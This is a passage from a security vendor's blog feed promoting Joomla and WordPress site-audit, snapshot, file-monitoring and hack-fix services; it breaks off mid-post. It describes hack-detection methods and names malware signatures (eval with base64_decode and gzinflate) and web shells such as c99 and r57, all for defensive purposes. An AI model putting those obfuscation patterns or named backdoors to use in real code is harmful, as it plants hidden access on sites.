&lt;p&gt;The process starts with a mySites.guru audit. This gathers information on every file in your webspace without exceptions. The audit runs in the background - start it and come back later.&lt;/p&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule audits&lt;/a&gt; to run on any frequency, or trigger them on demand. At the start of every audit, we also run the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; tools, which add over 100 quick checks on top of the full file scan.&lt;/p&gt;
&lt;p&gt;The audit compiles a complete list of every folder in your webspace, then lists every file in those folders.&lt;/p&gt;
&lt;p&gt;For each file, the audit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Checks whether it belongs to the Joomla or WordPress core&lt;/li&gt;
&lt;li&gt;If it’s a core file, verifies it hasn’t been modified since release and diffs it against the original&lt;/li&gt;
&lt;li&gt;If it’s &lt;em&gt;not&lt;/em&gt; a core file but sits in a folder core owns, flags it as an &lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;impostor file&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Saves the md5 hash for future comparisons&lt;/li&gt;
&lt;li&gt;Scans every line against roughly 1,500 known hack patterns, labelling matches as “suspect”&lt;/li&gt;
&lt;li&gt;Checks the full file hash against a database of 14,000+ confirmed hacked file hashes - no false positives, each hash is manually validated&lt;/li&gt;
&lt;li&gt;Examines file metadata including creation and modification dates, plus EXIF data on images (a common hiding place)&lt;/li&gt;
&lt;li&gt;Identifies encrypted files, PHP error logs, archives, files over 2MB, zero-byte files, and other anomalous classifications (learn why &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;archive files and SQL dumps are security risks&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When the audit finishes, you get a notification to log in and review the results. The screenshot below shows the first three sections of the audit tab.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru audit screen&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 960px) 960px, 100vw&quot; width=&quot;960&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-04-17.51.52-960x1024.Ea3hIf9l_Zf7NyP.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-04-17.51.52-960x1024.Ea3hIf9l_ZJvh7J.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-04-17.51.52-960x1024.Ea3hIf9l_Z1VEsqS.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-04-17.51.52-960x1024.Ea3hIf9l_1tmq6B.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-04-17.51.52-960x1024.Ea3hIf9l_Zf7NyP.webp 960w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Every line in every file&lt;/h2&gt;
&lt;p&gt;Most “scanners” check the rendered output of your site - what a browser sees. The mySites.guru audit checks the actual files on disk. That includes files not used in rendering at all: dormant backdoors can sit in a webspace for years before a hacker returns to use them. Hackers also use dot-prefixed filenames because most file managers hide them by default - &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files are a blind spot that deserves its own audit&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Suspect content matching&lt;/h2&gt;
&lt;p&gt;The audit has two main detection methods:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Regex patterns&lt;/strong&gt; - 1,500+ patterns built from hacks seen on real Joomla and WordPress sites, including recent and mutated variants. A match labels the file as “suspect”. There will be false positives by design.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Whole-file hash matching&lt;/strong&gt; - a full md5 match against confirmed backdoor hashes marks the file as definitively [HACKED], shown with a red label. These are typically backdoor files we’ve seen before on other sites.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a practical guide to reading and triaging these results, see &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Suspect Content vs Hacked Files: Which Flags Actually Matter in mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Complete file matching with MD5 hashes&lt;/h2&gt;
&lt;p&gt;When we find a backdoor (c99, r57, or any confirmed hacked file), we store the md5 hash of the entire file. On the next audit of any site connected to mySites.guru, we check for that hash. A match gets a red [HACKED FILE] flag in the audit results.&lt;/p&gt;
&lt;p&gt;There are no false positives here. A hash match is a confirmed hacked file.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;378&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-03-31-at-00.17.53-1024x378.DcEo_0Vl_oaKl5.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-03-31-at-00.17.53-1024x378.DcEo_0Vl_1SQiox.webp 640w, https://mysites.guru/_astro/Screenshot-2020-03-31-at-00.17.53-1024x378.DcEo_0Vl_lqFj6.webp 750w, https://mysites.guru/_astro/Screenshot-2020-03-31-at-00.17.53-1024x378.DcEo_0Vl_12ng1X.webp 828w, https://mysites.guru/_astro/Screenshot-2020-03-31-at-00.17.53-1024x378.DcEo_0Vl_oaKl5.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;1,500+ regex patterns&lt;/h2&gt;
&lt;p&gt;The second detection layer uses regex: roughly 1,500 patterns built up over a decade, updated daily. They catch common malware signatures like &lt;code&gt;eval()&lt;/code&gt; combined with &lt;code&gt;base64_decode&lt;/code&gt; and &lt;code&gt;gzinflate&lt;/code&gt;, plus dozens of other patterns.&lt;/p&gt;
&lt;p&gt;Regex patterns also find partial hacks - where malicious code has been injected into an otherwise legitimate file, rather than the whole file being a backdoor.&lt;/p&gt;
&lt;p&gt;Not every match is a hack, and that’s intentional. PHP is used by both legitimate code and by attackers, so some patterns overlap. We work to keep the false positive rate low, but the tool is inclusive. The result: instead of combing through 20,000 files yourself, you review a handful that the audit flagged.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 640px) 640px, 100vw&quot; width=&quot;640&quot; height=&quot;630&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-13.33.02.DA4L240__Z12t2OG.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-05-04-at-13.33.02.DA4L240__Z12t2OG.webp 640w&quot; /&gt;&lt;em&gt;Just a small number of regex patterns we match on&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Reducing your time looking for hacks&lt;/h2&gt;
&lt;p&gt;The average site across the 63,000 connected to mySites.guru has 19,882 files. The audit narrows that down to a short list worth checking, with a built-in interface to view the exact flagged lines - no FTP client needed.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;finding hacks with mySites.guru&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;470&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-04-17.54.04-1024x470.CJ5ekUDJ_mg7h.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-04-17.54.04-1024x470.CJ5ekUDJ_ZRN6YJ.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-04-17.54.04-1024x470.CJ5ekUDJ_167EYj.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-04-17.54.04-1024x470.CJ5ekUDJ_ZcwRJt.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-04-17.54.04-1024x470.CJ5ekUDJ_mg7h.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Click any file name to preview the suspect section, along with the file’s modification date, size, and permissions. You can edit the file directly in mySites.guru and save it back to the server, or delete the whole file with a single click.&lt;/p&gt;
&lt;p&gt;That single-file action isn’t the whole story any more. mySites.guru also has a full &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web-based file manager&lt;/a&gt; you can switch on per site: a jailed, logged browser for your entire webroot, not just the files an audit flags.&lt;/p&gt;
&lt;h2&gt;Crowd-sourced data model&lt;/h2&gt;
&lt;p&gt;After every audit, anonymous data on suspect files goes into a review queue. After manual validation, new patterns and hashes are added to the detection model. This means a hack found on one connected site gets added to the checks run on every other site on the next audit.&lt;/p&gt;
&lt;p&gt;It also lets us track waves of infection and detect new and mutated variants earlier.&lt;/p&gt;
&lt;h2&gt;Detection improves daily&lt;/h2&gt;
&lt;p&gt;We run over 3000 audits per day, which keeps the detection model current. We find over 200 hacked sites a week. When the &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; was exploited in early March 2026, for example, the suspect content scanner was already flagging the BLPayload backdoor plugins and hacklink cache files across affected sites. The same pattern played out in June 2026 with &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;the JCE profiles attack we found in the wild&lt;/a&gt;, where an old editor version let an attacker import a rogue profile and drop webshells: the scanner surfaced the same hidden &lt;code&gt;.xml.php&lt;/code&gt; backdoors that a browser-level scan would never see.&lt;/p&gt;
&lt;h2&gt;What about false positives?&lt;/h2&gt;
&lt;p&gt;Not everything that matches our patterns is a hack. This is by design. PHP is used by both legitimate code and by attackers, so some patterns overlap. We keep the false positive rate as low as we can, but we err on the side of showing you more rather than less. Host-side scanners hit the same wall, except without a human to check the result: &lt;a href=&quot;https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/&quot;&gt;OVH flagged a legitimate backup file of ours as malware&lt;/a&gt; and blocked whole hosting plans over it.&lt;/p&gt;
&lt;h2&gt;Can I whitelist files or folders?&lt;/h2&gt;
&lt;p&gt;No. Whitelisting is not permitted.&lt;/p&gt;
&lt;p&gt;You will get false positives, and that’s expected. When pattern matching isn’t enough to make a call, you can &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;ask me to take a look&lt;/a&gt;, or use the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis tool&lt;/a&gt; to triage suspect files in seconds.&lt;/p&gt;
&lt;p&gt;We removed whitelisting after a user whitelisted everything, missed a real hack, and sued us. After legal fees we were £14,000 out of pocket. The crowd-sourced data model also means user-supplied whitelists degrade the detection quality for everyone else. I’m the only one who whitelists anything now, and I do it rarely.&lt;/p&gt;
&lt;h2&gt;Comparison to external scanners&lt;/h2&gt;
&lt;p&gt;Most services that claim to have an “audit” tool have implemented the &lt;a href=&quot;https://sitecheck.sucuri.net/&quot;&gt;Sucuri SiteCheck API&lt;/a&gt;, which scans your site as a visiting browser would. It doesn’t check the files in your webspace and won’t find anything hidden below the rendered output. Not all “audits” are equal.&lt;/p&gt;
&lt;h2&gt;Current limitations&lt;/h2&gt;
&lt;p&gt;We don’t currently scan database tables for malware, which means we can miss WordPress SQL-injected posts. That’s on the roadmap.&lt;/p&gt;
&lt;h2&gt;Out of your depth? Need help?&lt;/h2&gt;
&lt;p&gt;If the audit finds your site is hacked and you’d rather not deal with it yourself, you can hand it over at &lt;strong&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;&lt;/strong&gt; for a set-fee hack fix.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Read more in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete agency security guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>hack detection</category><category>joomla</category><category>wordpress</category><category>audit tools</category><enclosure url="https://mysites.guru/img/og/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress.webp" length="0" type="image/webp"/></item><item><title>Quick Snapshot of All Your Sites</title><link>https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/</guid><description>The mySites.guru snapshot runs 140+ best-practice checks - PHP version, CMS config, security headers, SSL and more - twice a day on every connected site.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru &lt;strong&gt;snapshot&lt;/strong&gt; runs automatically twice a day - or on demand - across every site in your account. Over 140 data points, collected in seconds, and &lt;a href=&quot;https://mysites.guru/tools/&quot;&gt;every one of them is documented&lt;/a&gt;. PHP version, CMS config, user accounts, security headers, the lot.&lt;/p&gt;
&lt;p&gt;It’s not a photo of your site. It’s a fast check of what’s configured properly and what isn’t.&lt;/p&gt;
&lt;h2&gt;What exactly is the mySites.guru snapshot?&lt;/h2&gt;
&lt;p&gt;Within mySites.guru, where you can add &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited Joomla and WordPress sites&lt;/a&gt; to your account, you’ll see two main areas of checks on the Manage Site page: the &lt;strong&gt;Snapshot&lt;/strong&gt; and the &lt;strong&gt;Audit&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The snapshot checks complete within milliseconds. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;audit&lt;/a&gt; goes deeper - inspecting every line of code in every file on your webspace - so it takes longer. &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;Snapshot vs audit&lt;/a&gt; sets out which one finds what.&lt;/p&gt;
&lt;p&gt;Both give you a long list of best-practice checks and flag the things that need attention.&lt;/p&gt;
&lt;p&gt;The snapshot covers your platform (Joomla/WordPress) configuration, writing settings, discussion settings, user accounts and access, plugins and extensions, file information, &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;database integrity&lt;/a&gt;, and hosting environment.&lt;/p&gt;
&lt;p&gt;Each check displays the current status on your site, the trend (whether it’s changed, increased, or decreased), a &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Learn More&lt;/a&gt; button, and either a quick toggle or a link to the investigation page where you can dig into the reported issue and fix it.&lt;/p&gt;
&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Can You Resolve Problems with a Single Click?&lt;/h2&gt;
&lt;p&gt;Some of the Discussion Settings checks for WordPress:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Discussion Settings checks showing toggle switches for WordPress best practices&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;205&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-03-28-at-15.00.40-1024x205.Dst_b-Md_8QUxC.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-03-28-at-15.00.40-1024x205.Dst_b-Md_blOoc.webp 640w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-15.00.40-1024x205.Dst_b-Md_Tb3lr.webp 750w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-15.00.40-1024x205.Dst_b-Md_1a2rqS.webp 828w, https://mysites.guru/_astro/Screenshot-2020-03-28-at-15.00.40-1024x205.Dst_b-Md_8QUxC.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On the right you can see that these checks can be resolved with a toggle switch - a single click and your site is following best practice again.&lt;/p&gt;
&lt;h2&gt;How Often Does the Snapshot Run?&lt;/h2&gt;
&lt;p&gt;Once a site is connected to mySites.guru, the snapshot data refreshes automatically twice a day. Hit “Take a new snapshot” any time you want fresh data.&lt;/p&gt;
&lt;h3&gt;A huge number of checks&lt;/h3&gt;
&lt;p&gt;We check everything we consider best practice for secure and well-configured websites, including &lt;a href=&quot;https://mysites.guru/blog/robots-txt-for-joomla-and-wordpress/&quot;&gt;nine checks on what your robots.txt tells search engines and AI answer engines&lt;/a&gt;. You might not agree with every recommendation, and that’s fine.&lt;/p&gt;
&lt;p&gt;One section of the Joomla snapshot:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Joomla snapshot showing configuration checks with pass/fail indicators&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;604&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-14-20.03.49-1024x604.Bx7Ch8WG_Z1rIfBS.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-14-20.03.49-1024x604.Bx7Ch8WG_1rFMjh.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-14-20.03.49-1024x604.Bx7Ch8WG_FL71b.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-14-20.03.49-1024x604.Bx7Ch8WG_Z1E66yA.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-14-20.03.49-1024x604.Bx7Ch8WG_Z1rIfBS.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And the full page view (if you have good eyesight):&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Full-page view of the mySites.guru snapshot showing all check categories&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 425px) 425px, 100vw&quot; width=&quot;425&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/manage.mysites.guru_en_sites_manage_p0MpGb_anon1-425x1024.Sa-2QZER_Z1nFzcX.webp&quot; srcset=&quot;https://mysites.guru/_astro/manage.mysites.guru_en_sites_manage_p0MpGb_anon1-425x1024.Sa-2QZER_Z1nFzcX.webp 425w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That’s just some of the snapshot checks.&lt;/p&gt;
&lt;h2&gt;What Other Features Does the Snapshot Power?&lt;/h2&gt;
&lt;p&gt;At the end of each snapshot, mySites.guru gathers a list of your extensions, plugins, templates, and themes, then checks each one for available updates. This data feeds into tools like the &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;Active Theme and Template List&lt;/a&gt;, which lets you see and compare every site’s template across your entire portfolio.&lt;/p&gt;
&lt;p&gt;Depending on your settings, you can enable &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates&lt;/a&gt; for these - but that’s a topic for another post.&lt;/p&gt;
&lt;p&gt;The snapshot also captures your site version, PHP version, and other environment details that feed into the dashboard overview. For Joomla 5 and 6 sites, it checks for &lt;a href=&quot;https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/&quot;&gt;locked scheduled tasks&lt;/a&gt; that can break background jobs like update notifications and backups.&lt;/p&gt;
&lt;h2&gt;Can the Snapshot Identify Hacks?&lt;/h2&gt;
&lt;p&gt;The snapshot cannot read the files on your server, so file-level hack detection is the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit’s&lt;/a&gt; job. It does catch hacks that live in settings and the database, such as rogue Super Admin accounts. We push new checks frequently, and when we spot attack trends, we add checks for those too.&lt;/p&gt;
&lt;p&gt;For example, there was a specific attack that created usernames matching the pattern &lt;code&gt;Joomla.user.helper.XXXX&lt;/code&gt;. You probably wouldn’t notice one suspicious username among thousands of users - but the mySites.guru snapshot would, flagging it for you to investigate.&lt;/p&gt;
&lt;p&gt;For a broader look at the security checks behind the snapshot, see the &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>snapshot</category><category>best practice</category><category>security</category><category>wordpress</category><category>joomla</category><enclosure url="https://mysites.guru/img/og/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Get Expert Help for Your Sites Instantly</title><link>https://mysites.guru/blog/get-expert-help-for-your-joomla-and-wordpress-problems-immediately/</link><guid isPermaLink="true">https://mysites.guru/blog/get-expert-help-for-your-joomla-and-wordpress-problems-immediately/</guid><description>mySites.guru subscribers get direct access to Phil Taylor for fast expert help with any Joomla or WordPress problem - set fees, no ticket queues.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Got a WordPress or Joomla problem and need expert help today? Phil Taylor is available for hire with set fees over at &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Phil is the developer behind mySites.guru and a long-term contributor to WordPress, Joomla, and Symfony - some of the biggest open source projects around.&lt;/p&gt;
&lt;h2&gt;Is your site broken? Hacked?&lt;/h2&gt;
&lt;p&gt;Get immediate help to fix your Joomla or WordPress site today. &lt;a href=&quot;https://www.phil-taylor.com/&quot;&gt;Phil Taylor&lt;/a&gt;, founder of &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt;, charges &lt;strong&gt;set fees&lt;/strong&gt; to fix sites - not hourly rates.&lt;/p&gt;
&lt;h2&gt;What Is Included?&lt;/h2&gt;
&lt;p&gt;A typical fix request covers one or more of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fix of your &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;hacked site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Upgrade to the latest version if needed&lt;/li&gt;
&lt;li&gt;Debug and fix PHP error messages&lt;/li&gt;
&lt;li&gt;Debug and fix White Screen of Death&lt;/li&gt;
&lt;li&gt;Debug and fix a specific issue you describe&lt;/li&gt;
&lt;li&gt;Investigation of a web hosting issue, with report&lt;/li&gt;
&lt;li&gt;Fixing PHP configuration and settings&lt;/li&gt;
&lt;li&gt;Debugging error messages and site crashes&lt;/li&gt;
&lt;li&gt;Advice and consultancy on the issue&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Set fee charged, not per hour: most smaller issues are a one-time set fee of GBP 120.&lt;/p&gt;
&lt;p&gt;Non-subscribers get a &lt;strong&gt;free month of mySites.guru&lt;/strong&gt; included with every fix. All results are explained in plain English, and your credentials are encrypted and timeboxed.&lt;/p&gt;
&lt;p&gt;Same-day resolution on average.&lt;/p&gt;
&lt;h2&gt;What Don’t We Do?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Ongoing project work&lt;/li&gt;
&lt;li&gt;Website builds from scratch&lt;/li&gt;
&lt;li&gt;Plugin or extension development&lt;/li&gt;
&lt;li&gt;Template design (contact &lt;a href=&quot;https://www.stormcreativedesign.co.uk/&quot;&gt;Lee Tempest&lt;/a&gt; for that)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Who Is Phil Taylor?&lt;/h2&gt;
&lt;p&gt;The person behind this service is &lt;a href=&quot;https://www.phil-taylor.com/&quot;&gt;Phil E. Taylor&lt;/a&gt;, founder of mySites.guru and long-term contributor to the &lt;a href=&quot;https://joomla.org/&quot;&gt;Joomla project&lt;/a&gt;, &lt;a href=&quot;https://wordpress.org/&quot;&gt;WordPress&lt;/a&gt;, and &lt;a href=&quot;https://symfony.com/&quot;&gt;Symfony&lt;/a&gt;. Phil’s strongest skill is debugging - getting to the root of a problem. Once the root issue is identified, the fix is normally straightforward. That experience is why he can offer a set fee rather than open-ended hourly billing.&lt;/p&gt;
&lt;p&gt;When your team has hit the limit of what they can figure out - after several days of head-scratching or when people are out of their depth - that’s when to get in touch. Submit a request through the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;secure work request form&lt;/a&gt; and Phil can get started the same day.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>support</category><category>joomla</category><category>wordpress</category><category>troubleshooting</category><enclosure url="https://mysites.guru/img/og/blog/get-expert-help-for-your-joomla-and-wordpress-problems-immediately.webp" length="0" type="image/webp"/></item><item><title>Real-Time Alerts for File Changes &amp; Logins</title><link>https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/</guid><description>Get real-time email alerts when files change, admins log in, or SSL certificates near expiry across all your Joomla and WordPress sites with mySites.guru.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru is more than a suite of tools for &lt;a href=&quot;https://mysites.guru/&quot;&gt;managing multiple WordPress sites&lt;/a&gt;. Used by over &lt;a href=&quot;https://mysites.guru/blog/&quot;&gt;74,000 Joomla and WordPress sites&lt;/a&gt;, it also sends you real-time alerts when something happens on your sites - an admin login, a config change, a file that shouldn’t have been touched.&lt;/p&gt;
&lt;h2&gt;Real-time alerting triggers&lt;/h2&gt;
&lt;p&gt;Your site notifies mySites.guru based on the preferences you configure: someone logging into the admin console, saving Global Configuration, or other triggers you care about.&lt;/p&gt;
&lt;p&gt;We’re always looking to add more triggers - if you have ideas, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;let us know&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru alert preference settings showing toggles for admin login, configuration save, and file modification triggers&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;785&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-12-13.32.23-1024x785.B9DfrZ9z_1ysdpB.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-12-13.32.23-1024x785.B9DfrZ9z_Z2w5w6w.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-12-13.32.23-1024x785.B9DfrZ9z_A9XTD.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-12-13.32.23-1024x785.B9DfrZ9z_2hwv18.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-12-13.32.23-1024x785.B9DfrZ9z_1ysdpB.webp 1024w&quot; /&gt;&lt;em&gt;The available real-time triggers for Joomla and WordPress sites&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Near real-time file monitoring&lt;/h2&gt;
&lt;p&gt;You can opt in to have specific files monitored on your site. When a monitored file is modified, your site informs mySites.guru and you get an alert.&lt;/p&gt;
&lt;p&gt;This is “near real-time” because the check runs on every page load. If someone edits a file through the Joomla or WordPress admin, the alert fires immediately - the page request that saves the change is also the page request that detects it. The only time there’s a delay is if someone modifies a file over FTP and no one visits the site for a while. Same idea as WordPress’s web-cron.&lt;/p&gt;
&lt;p&gt;You can add unlimited files to the watch list, but in practice a short list of important files is enough - your configuration file, template files, and other files hackers tend to target. Not sure which files to monitor? Start by understanding &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;what hidden files are already in your webspace&lt;/a&gt; - some of them may surprise you.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru file monitoring configuration showing a list of watched files with their MD5 hashes&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;394&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-12-13.32.39-1024x394.Cy3QdNEZ_Z2kBYvQ.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-12-13.32.39-1024x394.Cy3QdNEZ_Znob2j.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-12-13.32.39-1024x394.Cy3QdNEZ_Z1gwit8.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-12-13.32.39-1024x394.Cy3QdNEZ_Tj5zq.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-12-13.32.39-1024x394.Cy3QdNEZ_Z2kBYvQ.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;How the MD5 hash check works (the .myjoomla.configuration.php.md5 file)&lt;/h3&gt;
&lt;p&gt;If you’ve looked at your Joomla site’s file system and found a file called &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt;, that’s the mySites.guru plugin doing its job. This is what it does. (For a focused walkthrough aimed at anyone who just stumbled on this file, see &lt;a href=&quot;https://mysites.guru/blog/myjoomla-configuration-php-md5-files/&quot;&gt;what the .myjoomla.configuration.php.md5 files are&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;When you enable real-time file monitoring for &lt;code&gt;configuration.php&lt;/code&gt; (or any other file), the mySites.guru plugin calculates the MD5 hash of that file and writes it to a companion file. For &lt;code&gt;configuration.php&lt;/code&gt;, the companion file is &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt;. It contains nothing but the 32-character MD5 hash string of the file contents at the time it was last checked.&lt;/p&gt;
&lt;p&gt;On every single page load - front-end or back-end, any visitor, any page - the plugin recalculates the MD5 hash of &lt;code&gt;configuration.php&lt;/code&gt; and compares it to the hash stored in &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt;. Two outcomes:&lt;/p&gt;
